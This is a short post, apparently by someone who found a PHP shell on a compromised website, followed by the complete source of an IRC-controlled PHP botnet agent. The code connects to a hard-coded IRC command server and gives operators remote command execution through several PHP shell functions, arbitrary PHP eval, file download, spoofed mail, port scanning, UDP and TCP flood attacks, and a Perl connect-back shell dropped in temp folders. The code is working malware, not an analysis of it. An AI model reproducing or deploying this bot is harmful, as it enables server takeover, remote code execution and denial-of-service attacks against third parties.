I found this link http://focori.com.br/images/x.php
it was a php shell uploaded to vulnerable site
inside i found the bot used for exploiting vulnerable sites
<? /* * * NOGROD. since 2008 * IRC.UDPLINK.NET * * COMMANDS: * * .user <password> //login to the bot * .logout //logout of the bot * .die //kill the bot * .restart //restart the bot * .mail <to> <from> <subject> <msg> //send an email * .dns <IP|HOST> //dns lookup * .download <URL> <filename> //download a file * .exec <cmd> // uses exec() //execute a command * .sexec <cmd> // uses shell_exec() //execute a command * .cmd <cmd> // uses popen() //execute a command * .info //get system information * .php <php code> // uses eval() //execute php code * .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack * .udpflood <target> <packets> <packetsize> <delay> //udpflood attack * .raw <cmd> //raw IRC command * .rndnick //change nickname * .pscan <host> <port> //port scan * .safe // test safe_mode (dvl) * .inbox <to> // test inbox (dvl) * .conback <ip> <port> // conect back (dvl) * .uname // return shell's uname using a php function (dvl) * */ set_time_limit(0); error_reporting(0); echo "BlackPower!"; class pBot { var $config = array("server"=>"irc.ganyot.us.to", "port"=>"7000", "pass"=>"", "prefix"=>"KiLL", "maxrand"=>"5", "chan"=>"#NganjukCyber", "chan2"=>"#NganjukCyber", "key"=>"sempak", "modes"=>"+p", "password"=>"sempak", "trigger"=>".", "hostauth"=>"net.admin.irc.ganyot.us.to" // * for any hostname ( remember: /setvhost lAgi.seRius.sCan ) ); var $users = array(); function start() { if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); $ident = $this->config['prefix']; $alph = range("0","100"); for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,100)]; if(strlen($this->config['pass'])>0) $this->send("PASS ".$this->config['pass']); $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname().""); $this->set_nick(); $this->main(); } function main() { while(!feof($this->conn)) { $this->buf = trim(fgets($this->conn,512)); $cmd = explode(" ",$this->buf); if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); } if(isset($cmd[1]) && $cmd[1] =="001") { $this->send("MODE ".$this->nick." ".$this->config['modes']); $this->join($this->config['chan'],$this->config['key']); if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan2'],"[2uname!2]: $uname (safe: $safemode)"); $this->privmsg($this->config['chan2'],"[2vuln!2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI'].""); } if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); } if($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf," :"),2); $msgcmd = explode(" ",$msg); $nick = explode("!",$cmd[0]); $vhost = explode("@",$nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0],1); $host = $cmd[0]; if($msgcmd[0]==$this->nick) { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1]; } else { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i]; } if(count($cmd)>2) { switch($cmd[1]) { case "QUIT": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PART": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PRIVMSG": if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "user": if($mcmd[1]==$this->config['password']) { $this->log_in($host); } else { $this->notice($this->config['chan'],"[2Auth2]: Senha errada $nick idiota!!"); } break; } } } elseif($this->is_logged_in($host)) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "restart": $this->send("QUIT :restart commando from $nick"); fclose($this->conn); $this->start(); break; case "mail": //mail to from subject message if(count($mcmd)>4) { $header = "From: <".$mcmd[2].">"; if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) { $this->privmsg($this->config['chan'],"[2mail2]: Impossivel mandar e-mail."); } else { $this->privmsg($this->config['chan'],"[2mail2]: Mensagem enviada para 2".$mcmd[1]."2"); } } break; case "safe": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $this->privmsg($this->config['chan'],"[2safe mode2]: ".$safemode.""); break; case "inbox": //teste inbox if(isset($mcmd[1])) { $token = md5(uniqid(rand(), true)); $header = "From: <inbox".$token."@xdevil.org>"; $a = php_uname(); $b = getenv("SERVER_SOFTWARE"); $c = gethostbyname($_SERVER["HTTP_HOST"]); if(!mail($mcmd[1],"InBox Test","#nogRod. since 2008nnip: $c nsoftware: $b nsystem: $a nvuln: http://".$_SERVER['SERVER_NAME']."nngreetz: irc.udplink.netnNOGROD OWNZ",$header)) { $this->privmsg($this->config['chan'],"[2inbox2]: Unable to send"); } else { $this->privmsg($this->config['chan'],"[2inbox2]: Message sent to 2".$mcmd[1]."2"); } } break; case "conback": if(count($mcmd)>2) { $this->conback($mcmd[1],$mcmd[2]); } break; case "dns": if(isset($mcmd[1])) { $ip = explode(".",$mcmd[1]); if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); } } break; case "info": case "vunl": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan'],""); $this->privmsg($this->config['chan'],""); break; case "bot": $this->privmsg($this->config['chan'],"[2bot2]: phpbot 2.0 by; NOGROD."); break; case "uname": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan'],"[2info2]: $uname (safe: $safemode)"); break; case "rndnick": $this->set_nick(); break; case "raw": $this->send(strstr($msg,$mcmd[1])); break; case "eval": $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1]))); break; case "sexec": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = shell_exec($command); $ret = explode("n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "exec": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = exec($command); $ret = explode("n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "passthru": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = passthru($command); $ret = explode("n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "popen": if(isset($mcmd[1])) { $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $this->privmsg($this->config['chan'],"[2popen2]: $command"); $pipe = popen($command,"r"); while(!feof($pipe)) { $pbuf = trim(fgets($pipe,512)); if($pbuf != NULL) $this->privmsg($this->config['chan']," : $pbuf"); } pclose($pipe); } case "system": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = system($command); $ret = explode("n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "pscan": // .pscan 127.0.0.1 6667 if(count($mcmd) > 2) { if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) $this->privmsg($this->config['chan'],"[2pscan2]: ".$mcmd[1].":".$mcmd[2]." is 2open2"); else $this->privmsg($this->config['chan'],"[2pscan2]: ".$mcmd[1].":".$mcmd[2]." is 2closed2"); } break; case "ud.server": // .ud.server <server> <port> [password] if(count($mcmd)>2) { $this->config['server'] = $mcmd[1]; $this->config['port'] = $mcmd[2]; if(isset($mcmcd[3])) { $this->config['pass'] = $mcmd[3]; $this->privmsg($this->config['chan'],"[2update2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]); } else { $this->privmsg($this->config['chan'],"[2update2]: Server trocado para ".$mcmd[1].":".$mcmd[2]); } } break; case "download": if(count($mcmd) > 2) { if(!$fp = fopen($mcmd[2],"w")) { $this->privmsg($this->config['chan'],"[2download2]: Nao foi possivel fazer o download. Permissao negada."); } else { if(!$get = file($mcmd[1])) { $this->privmsg($this->config['chan'],"[2download2]: Nao foi possivel fazer o download de 2".$mcmd[1]."2"); } else { for($i=0;$i<=count($get);$i++) { fwrite($fp,$get[$i]); } $this->privmsg($this->config['chan'],"[2download2]: Arquivo 2".$mcmd[1]."2 baixado para 2".$mcmd[2]."2"); } fclose($fp); } } else { $this->privmsg($this->config['chan'],"[2download2]: use .download http://your.host/file /tmp/file"); } break; case "die": $this->send("QUIT :die command from $nick"); fclose($this->conn); exit; case "logout": $this->log_out($host); $this->privmsg($this->config['chan'],"[2auth2]: $nick deslogado!"); break; case "udpflood": if(count($mcmd)>3) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]); } break; case "tcpflood": if(count($mcmd)>5) { $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]); } break; } } } break; } } } $old_buf = $this->buf; } $this->start(); } function send($msg) { fwrite($this->conn,"$msgrn"); } function join($chan,$key=NULL) { $this->send("JOIN $chan $key"); } function privmsg($to,$msg) { $this->send("PRIVMSG $to :$msg"); } function notice($to,$msg) { $this->send("NOTICE $to :$msg"); } function is_logged_in($host) { if(isset($this->users[$host])) return 1; else return 0; } function log_in($host) { $this->users[$host] = true; } function log_out($host) { unset($this->users[$host]); } function set_nick() { if(isset($_SERVER['SERVER_SOFTWARE'])) { if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick = "[A]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick = "[I]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick = "[X]"; else $this->nick = "[U]"; } else { $this->nick = "[C]"; } $this->nick .= $this->config['prefix']; for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9); $this->send("NICK ".$this->nick); } function udpflood($host,$packetsize,$time) { $this->privmsg($this->config['chan'],"[2UdpFlood Started!2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); } $timei = time(); $i = 0; while(time()-$timei < $time) { $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5); fwrite($fp,$packet); fclose($fp); $i++; } $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->privmsg($this->config['chan'],"[2UdpFlood Finished!2]: $env MB enviados / Media: $vel MB/s "); } function tcpflood($host,$packets,$packetsize,$port,$delay) { $this->privmsg($this->config['chan'],"[2TcpFlood Started!2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) { $this->privmsg($this->config['chan'],"[2TcpFlood2]: Error: <$e>"); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],"[2TcpFlood Finished!2]: Config - $packets pacotes para $host:$port."); } function conback($ip,$port) { $this->privmsg($this->config['chan'],"[2conback2]: tentando conectando a $ip:$port"); $dc_source = ""; if (is_writable("/tmp")) { if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); } $fp=fopen("/tmp/dc.pl","w"); fwrite($fp,base64_decode($dc_source)); passthru("perl /tmp/dc.pl $ip $port &"); unlink("/tmp/dc.pl"); } else { if (is_writable("/var/tmp")) { if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); } $fp=fopen("/var/tmp/dc.pl","w"); fwrite($fp,base64_decode($dc_source)); passthru("perl /var/tmp/dc.pl $ip $port &"); unlink("/var/tmp/dc.pl"); } if (is_writable(".")) { if (file_exists("dc.pl")) { unlink("dc.pl"); } $fp=fopen("dc.pl","w"); fwrite($fp,base64_decode($dc_source)); passthru("perl dc.pl $ip $port &"); unlink("dc.pl"); } } } } $bot = new pBot; $bot->start(); ?>
hosting infos:
http://whois.domaintools.com/211.115.92.196